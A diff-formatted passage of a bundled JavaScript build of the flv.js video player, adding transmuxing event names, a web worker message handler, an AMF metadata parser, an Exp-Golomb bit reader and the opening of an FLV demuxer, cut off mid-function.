Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var TransmuxingEvents = { + IO_ERROR: 'io_error', + DEMUX_ERROR: 'demux_error', + INIT_SEGMENT: 'init_segment', + MEDIA_SEGMENT: 'media_segment', + LOADING_COMPLETE: 'loading_complete', + RECOVERED_EARLY_EOF: 'recovered_early_eof', + MEDIA_INFO: 'media_info', + METADATA_ARRIVED: 'metadata_arrived', + SCRIPTDATA_ARRIVED: 'scriptdata_arrived', + STATISTICS_INFO: 'statistics_info', + RECOMMEND_SEEKPOINT: 'recommend_seekpoint' + }; + + exports.default = TransmuxingEvents; + +},{}],14:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _loggingControl = _dereq_('../utils/logging-control.js'); + + var _loggingControl2 = _interopRequireDefault(_loggingControl); + + var _polyfill = _dereq_('../utils/polyfill.js'); + + var _polyfill2 = _interopRequireDefault(_polyfill); + + var _transmuxingController = _dereq_('./transmuxing-controller.js'); + + var _transmuxingController2 = _interopRequireDefault(_transmuxingController); + + var _transmuxingEvents = _dereq_('./transmuxing-events.js'); + + var _transmuxingEvents2 = _interopRequireDefault(_transmuxingEvents); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + /* post message to worker: + data: { + cmd: string + param: any + } + + receive message from worker: + data: { + msg: string, + data: any + } + */ + + var TransmuxingWorker = function TransmuxingWorker(self) { + + var TAG = 'TransmuxingWorker'; + var controller = null; + var logcatListener = onLogcatCallback.bind(this); + + _polyfill2.default.install(); + + self.addEventListener('message', function (e) { + switch (e.data.cmd) { + case 'init': + controller = new _transmuxingController2.default(e.data.param[0], e.data.param[1]); + controller.on(_transmuxingEvents2.default.IO_ERROR, onIOError.bind(this)); + controller.on(_transmuxingEvents2.default.DEMUX_ERROR, onDemuxError.bind(this)); + controller.on(_transmuxingEvents2.default.INIT_SEGMENT, onInitSegment.bind(this)); + controller.on(_transmuxingEvents2.default.MEDIA_SEGMENT, onMediaSegment.bind(this)); + controller.on(_transmuxingEvents2.default.LOADING_COMPLETE, onLoadingComplete.bind(this)); + controller.on(_transmuxingEvents2.default.RECOVERED_EARLY_EOF, onRecoveredEarlyEof.bind(this)); + controller.on(_transmuxingEvents2.default.MEDIA_INFO, onMediaInfo.bind(this)); + controller.on(_transmuxingEvents2.default.METADATA_ARRIVED, onMetaDataArrived.bind(this)); + controller.on(_transmuxingEvents2.default.SCRIPTDATA_ARRIVED, onScriptDataArrived.bind(this)); + controller.on(_transmuxingEvents2.default.STATISTICS_INFO, onStatisticsInfo.bind(this)); + controller.on(_transmuxingEvents2.default.RECOMMEND_SEEKPOINT, onRecommendSeekpoint.bind(this)); + break; + case 'destroy': + if (controller) { + controller.destroy(); + controller = null; + } + self.postMessage({ msg: 'destroyed' }); + break; + case 'start': + controller.start(); + break; + case 'stop': + controller.stop(); + break; + case 'seek': + controller.seek(e.data.param); + break; + case 'pause': + controller.pause(); + break; + case 'resume': + controller.resume(); + break; + case 'logging_config': + { + var config = e.data.param; + _loggingControl2.default.applyConfig(config); + + if (config.enableCallback === true) { + _loggingControl2.default.addLogListener(logcatListener); + } else { + _loggingControl2.default.removeLogListener(logcatListener); + } + break; + } + } + }); + + function onInitSegment(type, initSegment) { + var obj = { + msg: _transmuxingEvents2.default.INIT_SEGMENT, + data: { + type: type, + data: initSegment + } + }; + self.postMessage(obj, [initSegment.data]); // data: ArrayBuffer + } + + function onMediaSegment(type, mediaSegment) { + var obj = { + msg: _transmuxingEvents2.default.MEDIA_SEGMENT, + data: { + type: type, + data: mediaSegment + } + }; + self.postMessage(obj, [mediaSegment.data]); // data: ArrayBuffer + } + + function onLoadingComplete() { + var obj = { + msg: _transmuxingEvents2.default.LOADING_COMPLETE + }; + self.postMessage(obj); + } + + function onRecoveredEarlyEof() { + var obj = { + msg: _transmuxingEvents2.default.RECOVERED_EARLY_EOF + }; + self.postMessage(obj); + } + + function onMediaInfo(mediaInfo) { + var obj = { + msg: _transmuxingEvents2.default.MEDIA_INFO, + data: mediaInfo + }; + self.postMessage(obj); + } + + function onMetaDataArrived(metadata) { + var obj = { + msg: _transmuxingEvents2.default.METADATA_ARRIVED, + data: metadata + }; + self.postMessage(obj); + } + + function onScriptDataArrived(data) { + var obj = { + msg: _transmuxingEvents2.default.SCRIPTDATA_ARRIVED, + data: data + }; + self.postMessage(obj); + } + + function onStatisticsInfo(statInfo) { + var obj = { + msg: _transmuxingEvents2.default.STATISTICS_INFO, + data: statInfo + }; + self.postMessage(obj); + } + + function onIOError(type, info) { + self.postMessage({ + msg: _transmuxingEvents2.default.IO_ERROR, + data: { + type: type, + info: info + } + }); + } + + function onDemuxError(type, info) { + self.postMessage({ + msg: _transmuxingEvents2.default.DEMUX_ERROR, + data: { + type: type, + info: info + } + }); + } + + function onRecommendSeekpoint(milliseconds) { + self.postMessage({ + msg: _transmuxingEvents2.default.RECOMMEND_SEEKPOINT, + data: milliseconds + }); + } + + function onLogcatCallback(type, str) { + self.postMessage({ + msg: 'logcat_callback', + data: { + type: type, + logcat: str + } + }); + } + }; /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + exports.default = TransmuxingWorker; + +},{"../utils/logger.js":41,"../utils/logging-control.js":42,"../utils/polyfill.js":43,"./transmuxing-controller.js":12,"./transmuxing-events.js":13}],15:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _utf8Conv = _dereq_('../utils/utf8-conv.js'); + + var _utf8Conv2 = _interopRequireDefault(_utf8Conv); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + var le = function () { + var buf = new ArrayBuffer(2); + new DataView(buf).setInt16(0, 256, true); // little-endian write + return new Int16Array(buf)[0] === 256; // platform-spec read, if equal then LE + }(); + + var AMF = function () { + function AMF() { + _classCallCheck(this, AMF); + } + + _createClass(AMF, null, [{ + key: 'parseScriptData', + value: function parseScriptData(arrayBuffer, dataOffset, dataSize) { + var data = {}; + + try { + var name = AMF.parseValue(arrayBuffer, dataOffset, dataSize); + var value = AMF.parseValue(arrayBuffer, dataOffset + name.size, dataSize - name.size); + + data[name.data] = value.data; + } catch (e) { + _logger2.default.e('AMF', e.toString()); + } + + return data; + } + }, { + key: 'parseObject', + value: function parseObject(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 3) { + throw new _exception.IllegalStateException('Data not enough when parse ScriptDataObject'); + } + var name = AMF.parseString(arrayBuffer, dataOffset, dataSize); + var value = AMF.parseValue(arrayBuffer, dataOffset + name.size, dataSize - name.size); + var isObjectEnd = value.objectEnd; + + return { + data: { + name: name.data, + value: value.data + }, + size: name.size + value.size, + objectEnd: isObjectEnd + }; + } + }, { + key: 'parseVariable', + value: function parseVariable(arrayBuffer, dataOffset, dataSize) { + return AMF.parseObject(arrayBuffer, dataOffset, dataSize); + } + }, { + key: 'parseString', + value: function parseString(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 2) { + throw new _exception.IllegalStateException('Data not enough when parse String'); + } + var v = new DataView(arrayBuffer, dataOffset, dataSize); + var length = v.getUint16(0, !le); + + var str = void 0; + if (length > 0) { + str = (0, _utf8Conv2.default)(new Uint8Array(arrayBuffer, dataOffset + 2, length)); + } else { + str = ''; + } + + return { + data: str, + size: 2 + length + }; + } + }, { + key: 'parseLongString', + value: function parseLongString(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 4) { + throw new _exception.IllegalStateException('Data not enough when parse LongString'); + } + var v = new DataView(arrayBuffer, dataOffset, dataSize); + var length = v.getUint32(0, !le); + + var str = void 0; + if (length > 0) { + str = (0, _utf8Conv2.default)(new Uint8Array(arrayBuffer, dataOffset + 4, length)); + } else { + str = ''; + } + + return { + data: str, + size: 4 + length + }; + } + }, { + key: 'parseDate', + value: function parseDate(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 10) { + throw new _exception.IllegalStateException('Data size invalid when parse Date'); + } + var v = new DataView(arrayBuffer, dataOffset, dataSize); + var timestamp = v.getFloat64(0, !le); + var localTimeOffset = v.getInt16(8, !le); + timestamp += localTimeOffset * 60 * 1000; // get UTC time + + return { + data: new Date(timestamp), + size: 8 + 2 + }; + } + }, { + key: 'parseValue', + value: function parseValue(arrayBuffer, dataOffset, dataSize) { + if (dataSize < 1) { + throw new _exception.IllegalStateException('Data not enough when parse Value'); + } + + var v = new DataView(arrayBuffer, dataOffset, dataSize); + + var offset = 1; + var type = v.getUint8(0); + var value = void 0; + var objectEnd = false; + + try { + switch (type) { + case 0: + // Number(Double) type + value = v.getFloat64(1, !le); + offset += 8; + break; + case 1: + { + // Boolean type + var b = v.getUint8(1); + value = b ? true : false; + offset += 1; + break; + } + case 2: + { + // String type + var amfstr = AMF.parseString(arrayBuffer, dataOffset + 1, dataSize - 1); + value = amfstr.data; + offset += amfstr.size; + break; + } + case 3: + { + // Object(s) type + value = {}; + var terminal = 0; // workaround for malformed Objects which has missing ScriptDataObjectEnd + if ((v.getUint32(dataSize - 4, !le) & 0x00FFFFFF) === 9) { + terminal = 3; + } + while (offset < dataSize - 4) { + // 4 === type(UI8) + ScriptDataObjectEnd(UI24) + var amfobj = AMF.parseObject(arrayBuffer, dataOffset + offset, dataSize - offset - terminal); + if (amfobj.objectEnd) break; + value[amfobj.data.name] = amfobj.data.value; + offset += amfobj.size; + } + if (offset <= dataSize - 3) { + var marker = v.getUint32(offset - 1, !le) & 0x00FFFFFF; + if (marker === 9) { + offset += 3; + } + } + break; + } + case 8: + { + // ECMA array type (Mixed array) + value = {}; + offset += 4; // ECMAArrayLength(UI32) + var _terminal = 0; // workaround for malformed MixedArrays which has missing ScriptDataObjectEnd + if ((v.getUint32(dataSize - 4, !le) & 0x00FFFFFF) === 9) { + _terminal = 3; + } + while (offset < dataSize - 8) { + // 8 === type(UI8) + ECMAArrayLength(UI32) + ScriptDataVariableEnd(UI24) + var amfvar = AMF.parseVariable(arrayBuffer, dataOffset + offset, dataSize - offset - _terminal); + if (amfvar.objectEnd) break; + value[amfvar.data.name] = amfvar.data.value; + offset += amfvar.size; + } + if (offset <= dataSize - 3) { + var _marker = v.getUint32(offset - 1, !le) & 0x00FFFFFF; + if (_marker === 9) { + offset += 3; + } + } + break; + } + case 9: + // ScriptDataObjectEnd + value = undefined; + offset = 1; + objectEnd = true; + break; + case 10: + { + // Strict array type + // ScriptDataValue[n]. NOTE: according to video_file_format_spec_v10_1.pdf + value = []; + var strictArrayLength = v.getUint32(1, !le); + offset += 4; + for (var i = 0; i < strictArrayLength; i++) { + var val = AMF.parseValue(arrayBuffer, dataOffset + offset, dataSize - offset); + value.push(val.data); + offset += val.size; + } + break; + } + case 11: + { + // Date type + var date = AMF.parseDate(arrayBuffer, dataOffset + 1, dataSize - 1); + value = date.data; + offset += date.size; + break; + } + case 12: + { + // Long string type + var amfLongStr = AMF.parseString(arrayBuffer, dataOffset + 1, dataSize - 1); + value = amfLongStr.data; + offset += amfLongStr.size; + break; + } + default: + // ignore and skip + offset = dataSize; + _logger2.default.w('AMF', 'Unsupported AMF value type ' + type); + } + } catch (e) { + _logger2.default.e('AMF', e.toString()); + } + + return { + data: value, + size: offset, + objectEnd: objectEnd + }; + } + }]); + + return AMF; + }(); + + exports.default = AMF; + +},{"../utils/exception.js":40,"../utils/logger.js":41,"../utils/utf8-conv.js":44}],16:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var DemuxErrors = { + OK: 'OK', + FORMAT_ERROR: 'FormatError', + FORMAT_UNSUPPORTED: 'FormatUnsupported', + CODEC_UNSUPPORTED: 'CodecUnsupported' + }; + + exports.default = DemuxErrors; + +},{}],17:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _exception = _dereq_('../utils/exception.js'); + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + +// Exponential-Golomb buffer decoder + var ExpGolomb = function () { + function ExpGolomb(uint8array) { + _classCallCheck(this, ExpGolomb); + + this.TAG = 'ExpGolomb'; + + this._buffer = uint8array; + this._buffer_index = 0; + this._total_bytes = uint8array.byteLength; + this._total_bits = uint8array.byteLength * 8; + this._current_word = 0; + this._current_word_bits_left = 0; + } + + _createClass(ExpGolomb, [{ + key: 'destroy', + value: function destroy() { + this._buffer = null; + } + }, { + key: '_fillCurrentWord', + value: function _fillCurrentWord() { + var buffer_bytes_left = this._total_bytes - this._buffer_index; + if (buffer_bytes_left <= 0) throw new _exception.IllegalStateException('ExpGolomb: _fillCurrentWord() but no bytes available'); + + var bytes_read = Math.min(4, buffer_bytes_left); + var word = new Uint8Array(4); + word.set(this._buffer.subarray(this._buffer_index, this._buffer_index + bytes_read)); + this._current_word = new DataView(word.buffer).getUint32(0, false); + + this._buffer_index += bytes_read; + this._current_word_bits_left = bytes_read * 8; + } + }, { + key: 'readBits', + value: function readBits(bits) { + if (bits > 32) throw new _exception.InvalidArgumentException('ExpGolomb: readBits() bits exceeded max 32bits!'); + + if (bits <= this._current_word_bits_left) { + var _result = this._current_word >>> 32 - bits; + this._current_word <<= bits; + this._current_word_bits_left -= bits; + return _result; + } + + var result = this._current_word_bits_left ? this._current_word : 0; + result = result >>> 32 - this._current_word_bits_left; + var bits_need_left = bits - this._current_word_bits_left; + + this._fillCurrentWord(); + var bits_read_next = Math.min(bits_need_left, this._current_word_bits_left); + + var result2 = this._current_word >>> 32 - bits_read_next; + this._current_word <<= bits_read_next; + this._current_word_bits_left -= bits_read_next; + + result = result << bits_read_next | result2; + return result; + } + }, { + key: 'readBool', + value: function readBool() { + return this.readBits(1) === 1; + } + }, { + key: 'readByte', + value: function readByte() { + return this.readBits(8); + } + }, { + key: '_skipLeadingZero', + value: function _skipLeadingZero() { + var zero_count = void 0; + for (zero_count = 0; zero_count < this._current_word_bits_left; zero_count++) { + if (0 !== (this._current_word & 0x80000000 >>> zero_count)) { + this._current_word <<= zero_count; + this._current_word_bits_left -= zero_count; + return zero_count; + } + } + this._fillCurrentWord(); + return zero_count + this._skipLeadingZero(); + } + }, { + key: 'readUEG', + value: function readUEG() { + // unsigned exponential golomb + var leading_zeros = this._skipLeadingZero(); + return this.readBits(leading_zeros + 1) - 1; + } + }, { + key: 'readSEG', + value: function readSEG() { + // signed exponential golomb + var value = this.readUEG(); + if (value & 0x01) { + return value + 1 >>> 1; + } else { + return -1 * (value >>> 1); + } + } + }]); + + return ExpGolomb; + }(); + + exports.default = ExpGolomb; + +},{"../utils/exception.js":40}],18:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _amfParser = _dereq_('./amf-parser.js'); + + var _amfParser2 = _interopRequireDefault(_amfParser); + + var _spsParser = _dereq_('./sps-parser.js'); + + var _spsParser2 = _interopRequireDefault(_spsParser); + + var _demuxErrors = _dereq_('./demux-errors.js'); + + var _demuxErrors2 = _interopRequireDefault(_demuxErrors); + + var _mediaInfo = _dereq_('../core/media-info.js'); + + var _mediaInfo2 = _interopRequireDefault(_mediaInfo); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function Swap16(src) { + return src >>> 8 & 0xFF | (src & 0xFF) << 8; + } + + function Swap32(src) { + return (src & 0xFF000000) >>> 24 | (src & 0x00FF0000) >>> 8 | (src & 0x0000FF00) << 8 | (src & 0x000000FF) << 24; + } + + function ReadBig32(array, index) { + return array[index] << 24 | array[index + 1] << 16 | array[index + 2] << 8 | array[index + 3]; + } + + var FLVDemuxer = function () { + function FLVDemuxer(probeData, config) { + _classCallCheck(this, FLVDemuxer); + + this.TAG = 'FLVDemuxer'; + + this._config = config; + + this._onError = null; + this._onMediaInfo = null; + this._onMetaDataArrived = null; + this._onScriptDataArrived = null; + this._onTrackMetadata = null; + this._onDataAvailable = null; + + this._dataOffset = probeData.dataOffset; + this._firstParse = true; + this._dispatch = false; + + this._hasAudio = probeData.hasAudioTrack; + this._hasVideo = probeData.hasVideoTrack; + + this._hasAudioFlagOverrided = false; + this._hasVideoFlagOverrided = false; + + this._audioInitialMetadataDispatched = false; + this._videoInitialMetadataDispatched = false; + + this._mediaInfo = new _mediaInfo2.default(); + this._mediaInfo.hasAudio = this._hasAudio; + this._mediaInfo.hasVideo = this._hasVideo; + this._metadata = null; + this._audioMetadata = null; + this._videoMetadata = null; + + this._naluLengthSize = 4; + this._timestampBase = 0; // int32, in milliseconds + this._timescale = 1000; + this._duration = 0; // int32, in milliseconds + this._durationOverrided = false; + this._referenceFrameRate = { + fixed: true, + fps: 23.976, + fps_num: 23976, + fps_den: 1000 + }; + + this._flvSoundRateTable = [5500, 11025, 22050, 44100, 48000]; + + this._mpegSamplingRates = [96000, 88200, 64000, 48000, 44100, 32000, 24000, 22050, 16000, 12000, 11025, 8000, 7350]; + + this._mpegAudioV10SampleRateTable = [44100, 48000, 32000, 0]; + this._mpegAudioV20SampleRateTable = [22050, 24000, 16000, 0]; + this._mpegAudioV25SampleRateTable = [11025, 12000, 8000, 0]; + + this._mpegAudioL1BitRateTable = [0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, -1]; + this._mpegAudioL2BitRateTable = [0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, -1]; + this._mpegAudioL3BitRateTable = [0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, -1]; + + this._videoTrack = { type: 'video', id: 1, sequenceNumber: 0, samples: [], length: 0 }; + this._audioTrack = { type: 'audio', id: 2, sequenceNumber: 0, samples: [], length: 0 }; + + this._littleEndian = function () { + var buf = new ArrayBuffer(2); + new DataView(buf).setInt16(0, 256, true); // little-endian write + return new Int16Array(buf)[0] === 256; // platform-spec read, if equal then LE + }(); + } + + _createClass(FLVDemuxer, [{ + key: 'destroy', + value: function destroy() { + this._mediaInfo = null; + this._metadata = null; + this._audioMetadata = null; + this._videoMetadata = null; + this._videoTrack = null; + this._audioTrack = null; + + this._onError = null; + this._onMediaInfo = null; + this._onMetaDataArrived = null; + this._onScriptDataArrived = null; + this._onTrackMetadata = null; + this._onDataAvailable = null; + } + }, { + key: 'bindDataSource', + value: function bindDataSource(loader) { + loader.onDataArrival = this.parseChunks.bind(this); + return this; + } + + // prototype: function(type: string, metadata: any): void + + }, { + key: 'resetMediaInfo', + value: function resetMediaInfo() { + this._mediaInfo = new _mediaInfo2.default(); + } + }, { + key: '_isInitialMetadataDispatched', + value: function _isInitialMetadataDispatched() { + if (this._hasAudio && this._hasVideo) { + // both audio & video + return this._audioInitialMetadataDispatched && this._videoInitialMetadataDispatched; + } + if (this._hasAudio && !this._hasVideo) { + // audio only + return this._audioInitialMetadataDispatched; + } + if (!this._hasAudio && this._hasVideo) { + // video only + return this._videoInitialMetadataDispatched; + } + return false; + } + + // function parseChunks(chunk: ArrayBuffer, byteStart: number): number; + + }, { + key: 'parseChunks', + value: function parseChunks(chunk, byteStart) { + if (!this._onError || !this._onMediaInfo || !this._onTrackMetadata || !this._onDataAvailable) { + throw new _exception.IllegalStateException('Flv: onError & onMediaInfo & onTrackMetadata & onDataAvailable callback must be specified'); + } + + var offset = 0; + var le = this._littleEndian; + + if (byteStart === 0) { + // buffer with FLV header + if (chunk.byteLength > 13) { + var probeData = FLVDemuxer.probe(chunk); + offset = probeData.dataOffset; + } else { + return 0; + } + } + + if (this._firstParse) { + // handle PreviousTagSize0 before Tag1 + this._firstParse = false; + if (byteStart + offset !== this._dataOffset) { + _logger2.default.w(this.TAG, 'First time parsing but chunk byteStart invalid!'); + } + + var v = new DataView(chunk, offset); + var prevTagSize0 = v.getUint32(0, !le); + if (prevTagSize0 !== 0) { + _logger2.default.w(this.TAG, 'PrevTagSize0 !== 0 !!!'); + } + offset += 4; + } + + while (offset < chunk.byteLength) { + this._dispatch = true; + + var _v = new DataView(chunk, offset); + + if (offset + 11 + 4 > chunk.byteLength) { + // data not enough for parsing an flv tag + break; + } + + var tagType = _v.getUint8(0); + var dataSize = _v.getUint32(0, !le) & 0x00FFFFFF; + + if (offset + 11 + dataSize + 4 > chunk.byteLength) { + // data not enough for parsing actual data body + break; + } + + if (tagType !== 8 && tagType !== 9 && tagType !== 18) { + _logger2.default.w(this.TAG, 'Unsupported tag type ' + tagType + ', skipped'); + // consume the whole tag (skip it) + offset += 11 + dataSize + 4; + continue; + } + + var ts2 = _v.getUint8(4); + var ts1 = _v.getUint8(5); + var ts0 = _v.getUint8(6); + var ts3 = _v.getUint8(7); + + var timestamp = ts0 | ts1 << 8 | ts2 << 16 | ts3 << 24; + + var streamId = _v.getUint32(7, !le) & 0x00FFFFFF; + if (streamId !== 0) { + _logger2.default.w(this.TAG, 'Meet tag which has StreamID != 0!'); + } + + var dataOffset = offset + 11; + + switch (tagType) { + case 8: + // Audio + this._parseAudioData(chunk, dataOffset, dataSize, timestamp); + break; + case 9: + // Video + this._parseVideoData(chunk, dataOffset, dataSize, timestamp, byteStart + offset); + break; + case 18: + // ScriptDataObject + this._parseScriptData(chunk, dataOffset, dataSize); + break; + } + + var prevTagSize = _v.getUint32(11 + dataSize, !le); + if (prevTagSize !== 11 + dataSize) { + _logger2.default.w(this.TAG, 'Invalid PrevTagSize ' + prevTagSize); + } + + offset += 11 + dataSize + 4; // tagBody + dataSize + prevTagSize + } + + // dispatch parsed frames to consumer (typically, the remuxer) + if (this._isInitialMetadataDispatched()) { + if (this._dispatch && (this._audioTrack.length || this._videoTrack.length)) { + this._onDataAvailable(this._audioTrack, this._videoTrack); + } + } + + return offset; // consumed bytes, just equals latest offset index + } + }, { + key: '_parseScriptData', + value: function _parseScriptData(arrayBuffer, dataOffset, dataSize) { + var scriptData = _amfParser2.default.parseScriptData(arrayBuffer, dataOffset, dataSize); + + if (scriptData.hasOwnProperty('onMetaData')) { + if (scriptData.onMetaData == null || _typeof(scriptData.onMetaData) !== 'object') { + _logger2.default.w(this.TAG, 'Invalid onMetaData structure!'); + return; + } + if (this._metadata) { + _logger2.default.w(this.TAG, 'Found another onMetaData tag!'); + } + this._metadata = scriptData; + var onMetaData = this._metadata.onMetaData; + + if (this._onMetaDataArrived) { + this._onMetaDataArrived(Object.assign({}, onMetaData)); + } + + if (typeof onMetaData.hasAudio === 'boolean') { + // hasAudio + if (this._hasAudioFlagOverrided === false) { + this._hasAudio = onMetaData.hasAudio; + this._mediaInfo.hasAudio = this._hasAudio; + } + } + if (typeof onMetaData.hasVideo === 'boolean') { + // hasVideo + if (this._hasVideoFlagOverrided === false) { + this._hasVideo = onMetaData.hasVideo; + this._mediaInfo.hasVideo = this._hasVideo; + } + } + if (typeof onMetaData.audiodatarate === 'number') { + // audiodatarate + this._mediaInfo.audioDataRate = onMetaData.audiodatarate; + } + if (typeof onMetaData.videodatarate === 'number') { + // videodatarate + this._mediaInfo.videoDataRate = onMetaData.videodatarate; + } + if (typeof onMetaData.width === 'number') { + // width + this._mediaInfo.width = onMetaData.width; + } + if (typeof onMetaData.height === 'number') { + // height + this._mediaInfo.height = onMetaData.height; + } + if (typeof onMetaData.duration === 'number') { + // duration + if (!this._durationOverrided) { + var duration = Math.floor(onMetaData.duration * this._timescale); + this._duration = duration; + this._mediaInfo.duration = duration; + } + } else { + this._mediaInfo.duration = 0; + } + if (typeof onMetaData.framerate === 'number') { + // framerate + var fps_num = Math.floor(onMetaData.framerate * 1000); + if (fps_num > 0) { + var fps = fps_num / 1000; + this._referenceFrameRate.fixed = true; + this._referenceFrameRate.fps = fps; + this._referenceFrameRate.fps_num = fps_num; + this._referenceFrameRate.fps_den = 1000; + this._mediaInfo.fps = fps; + } + } + if (_typeof(onMetaData.keyframes) === 'object') { + // keyframes + this._mediaInfo.hasKeyframesIndex = true; + var keyframes = onMetaData.keyframes; + this._mediaInfo.keyframesIndex = this._parseKeyframesIndex(keyframes); + onMetaData.keyframes = null; // keyframes has been extracted, remove it + } else { + this._mediaInfo.hasKeyframesIndex = false; + } + this._dispatch = false; + this._mediaInfo.metadata = onMetaData; + _logger2.default.v(this.TAG, 'Parsed onMetaData'); + if (this._mediaInfo.isComplete()) { + this._onMediaInfo(this._mediaInfo); + } + } + + if (Object.keys(scriptData).length > 0) { + if (this._onScriptDataArrived) { + this._onScriptDataArrived(Object.assign({}, scriptData)); + } + } + } + }, { + key: '_parseKeyframesIndex', + value: function _parseKeyframesIndex(keyframes) { + var times = []; + var filepositions = []; + + // ignore first keyframe which is actually AVC Sequence Header (AVCDecoderConfigurationRecord) + for (var i = 1; i < keyframes.times.length; i++) { + var time = this._timestampBase + Math.floor(keyframes.times[i] * 1000); + times.push(time); + filepositions.push(keyframes.filepositions[i]); + } + + return { + times: times, + filepositions: filepositions + }; + } + }, { + key: '_parseAudioData', + value: function 